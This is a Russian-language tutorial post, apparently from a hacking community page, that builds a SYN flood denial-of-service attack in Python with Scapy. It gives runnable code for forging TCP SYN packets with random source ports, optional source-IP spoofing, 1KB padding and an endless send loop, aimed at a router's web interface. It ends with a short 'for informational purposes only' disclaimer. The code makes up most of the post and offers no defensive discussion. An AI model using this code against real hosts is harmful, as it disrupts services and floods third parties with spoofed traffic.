Как осуществить атаку SYN Flooding в Python
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
pip3 install scapy
▪Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *
▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
Отлично!
▪Теперь сложим слои и отправим пакет:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
Информация предоставлена исключительно для ознакомительных целей!
Life-Hack [Жизнь-Взлом]/Хакинг
251 пост2.7K подписчиков
Правила сообщества
Просьба уважать друг друга.